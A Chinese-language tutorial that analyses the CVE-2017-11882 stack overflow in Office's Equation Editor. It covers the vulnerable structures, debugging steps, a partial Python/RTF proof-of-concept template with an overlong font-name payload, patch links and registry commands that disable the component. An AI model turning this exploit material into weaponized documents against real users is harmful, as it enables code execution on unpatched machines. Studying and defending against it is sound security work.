CVE-2017-11882 Office栈溢出漏洞分析
字数 1368 2025-08-26 22:11:28
CVE-2017-11882 Office栈溢出漏洞分析与利用教学
漏洞概述
CVE-2017-11882是Microsoft Office中的一个栈溢出漏洞,存在于Equation Editor组件(EQNEDT32.EXE)中。该漏洞由于未对字体名称长度进行校验,导致攻击者可以通过精心构造的Office文档执行任意代码。
漏洞环境准备
测试环境
- 操作系统:Windows 7 x64 sp1
- Office版本:Office 2007 Professional
调试工具
- Windbg:用于动态调试
- IDA Pro:用于静态分析
- RTFOBJ工具:用于分析Office文档结构
漏洞分析
漏洞位置
漏洞位于EQNEDT32.EXE公式编辑器的sub_41160F函数中,该函数未对拷贝长度进行校验,导致栈溢出。
漏洞原理
-
Equation Native结构:
- Equation Native = EQNOLEFILEHDR + MTEF Header + MTEF Byte Stream
- 其中MTEF Byte Stream中的FONT记录是漏洞触发点
-
关键结构体:
struct EQNOLEFILEHDR {
WORD cCBHdr; // 格式头长度,大小为0x1C
DWORD nVersion; // 固定为0×00020000
WORD nCf; // 该公式对象的剪贴板格式
DWORD cbObject; // MTEF数据的长度,不包括头部
DWORD nReserved1; // 未使用
DWORD nReserved2; // 未使用
DWORD nReserved3; // 未使用
DWORD nReserved4; // 未使用
};
struct stuFontRecord {
BYTE bTag; // 字体文件的tag位0×08
BYTE bTypeFace; // 字体风格0x5a
BYTE bStyle; // 字体样式0x5a
BYTE bFontName[n] // 字体名称,以NULL为结束符,漏洞点
};
- 漏洞触发流程:
- 攻击者构造超长的字体名称(bFontName)
- 程序未校验长度直接拷贝到固定大小的栈缓冲区
- 覆盖返回地址,控制程序执行流
漏洞利用
利用步骤
-
构造恶意RTF文档:
- 使用RTF模板构建基础文档
- 插入Equation Native对象
- 在FONT记录的bFontName字段填充超长字符串和shellcode地址
-
关键偏移:
- 需要计算准确的偏移量覆盖返回地址
- 通常覆盖为调用计算器函数或自定义shellcode地址
-
Python构造POC示例:
RTF_HEADER = R"""{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}
{\*\generator Riched20 6.3.9600}\viewkind4\uc1
\pard\sa200\sl276\slmult1\f0\fs22\lang9"""
OBJECT_HEADER = R"""{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata """
# 关键部分 - 构造Equation Native数据
OBJDATA_TEMPLATE = R"""
01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1
[...]
000000000000000000000000000000000000001c00000002009ec4a900000000000000c8a75c00c4
ee5b0000000000030101030a0a01085a5a4141414141414141414141414141414141414141414141
414141414141414141414141414141414141414141120c4300000000000000000000000000000000
[...]
"""
动态调试
-
设置Windbg:
- 通过注册表设置程序启动时附加调试器
- 在漏洞函数(
sub_41160F)或返回地址(0x411874)处下断点
-
调试过程:
- 观察栈缓冲区被覆盖情况
- 跟踪返回地址被覆盖后的执行流程
- 分析shellcode执行过程
漏洞修复
代码修复
在拷贝函数前增加长度校验,确保字体名称长度在合法范围内。
用户修复方案
-
从微软官网下载安装补丁:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 -
开启自动更新,更新到最新版本
-
禁用Equation Editor组件:
reg add "HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
参考资源
- MTEF结构参考:http://rtf2latex2e.sourceforge.net/MTEF3.html#Header
- Yanhui Jia分析文章:https://unit42.paloaltonetworks.com/unit42-analysis-of-cve-2017-11882-exploit-in-the-wild/
- 四维创智分析文章:https://www.freebuf.com/column/183551.html
附件
- 示例恶意文档:1910185da99b46c069f.zip
通过以上详细分析,我们可以全面理解CVE-2017-11882漏洞的原理、利用方式及修复方法。在实际应用中,建议用户及时更新补丁,避免使用存在漏洞的Office版本。